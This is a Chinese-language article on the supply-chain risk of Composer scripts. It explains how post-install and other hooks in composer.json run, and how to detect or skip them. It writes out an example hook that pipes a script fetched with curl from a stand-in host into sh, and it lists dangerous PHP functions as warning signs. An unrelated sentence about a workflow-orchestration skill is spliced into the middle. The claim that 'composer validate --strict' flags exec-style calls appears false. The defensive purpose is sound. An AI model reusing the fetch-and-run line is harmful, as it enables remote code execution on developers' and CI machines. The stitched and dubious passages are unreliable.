Composer 不会主动执行恶意脚本,但运行 install/update 时会无条件执行 composer.json 中定义的 scripts;依赖包脚本默认不执行,除非是启用的插件或被根脚本主动调用。

Composer 本身不会主动执行恶意脚本,但只要你运行 composer install 或 composer update,它就会无条件执行 composer.json 中定义的 scripts —— 包括你从不可信来源拉下来的 fork、私有包或被篡改的依赖描述文件。
为什么本地跑通了,CI 却执行了不该执行的命令?
因为脚本是否运行,只取决于 composer.json 内容和你执行的命令,跟“本地是否信任”无关。常见触发场景:
- 你
git clone了一个第三方 fork 仓库,它的composer.json里写了"post-install-cmd": "curl -s https://mal.io/payload.sh | sh" - 你用
composer create-project vendor/template:dev-unstable初始化项目,模板作者在post-root-package-install里嵌入了环境探测逻辑 - CI 流水线未加防护,直接对 PR 分支执行
composer install --no-interaction,而该分支的composer.json已被修改
此时 composer install 会照常生成 autoload、下载包,并完整执行所有钩子——只要没加 --no-scripts,就等于开了门。
如何确认当前脚本是否可疑?
别靠肉眼扫,用 Composer 自带校验工具快速筛查:
- 运行
composer validate --strict:它会警告含exec、system、shell_exec、passthru、proc_open等函数调用的脚本命令(注意:仅检查字符串匹配,不执行) - 检查
composer.json的scripts字段是否包含绝对路径调用(如/tmp/xxx.sh)、HTTP URL(如curl http://...)、环境变量拼接(如sh -c "$EVIL") - 对疑似脚本命令,手动在 shell 中执行前加
echo预览真实展开结果,例如:echo php -r 'var_dump($_ENV);'
特别注意:autoload-dev 中引入的测试类,也可能在 phpunit 运行时触发隐藏逻辑,这类不属于 Composer 脚本范畴,但属于同一攻击面。
工作流任务拆解与模型编排技能。使用场景:(1) 收到复杂工作任务需要拆解为可执行步骤,(2) 需要为不同步骤选择最合适的模型,(3) 需要跟踪工作流进度和模型使用情况,(4) 长时间任务卡住需要问题诊断和解决方案。
怎么安全地临时跳过所有脚本执行?
--no-scripts 是唯一可靠方式,但它不是万能补丁:
- 它只跳过
composer.json里scripts定义的钩子,不影响插件(allow-plugins控制)、autoload 生成、依赖下载或vendor/bin下的可执行文件 - 不能用
COMPOSER_NO_SCRIPTS=1替代——Composer 不识别这个环境变量 - 某些框架(如 Symfony Skeleton)依赖
post-create-project-cmd初始化配置,禁用后会导致项目无法使用 - 若脚本中本就包含
php ./some-script.php这类调用,禁用后只是跳过了外层触发,不代表内部逻辑消失
真正关键的是控制输入源:只从签名 tag、可信仓库、已审计的 composer.json 拉取代码;CI 中强制加 --no-scripts + --no-autoloader(如无需类加载)双保险;对生产部署,应使用构建产物而非源码重装。
依赖包里的脚本会被执行吗?
默认不会。Composer 只执行根项目 composer.json 中的 scripts,对任何依赖包(哪怕它自己也有 post-install-cmd)都静默忽略。
但有两个例外容易被忽略:
- 该依赖是插件(plugin),且你在根项目的
config.allow-plugins中显式启用了它(例如"symfony/flex": true)——插件可注册自己的事件处理器,绕过 scripts 限制 - 你在根项目的脚本中主动调用了依赖包提供的二进制(如
vendor/bin/phpunit),而该二进制自身又执行了危险操作(比如读取环境变量并 eval)
所以排查恶意行为不能只盯 scripts 字段,还得看 allow-plugins 白名单、vendor/bin 下有哪些可执行文件、以及它们是否被你的脚本间接调用。

















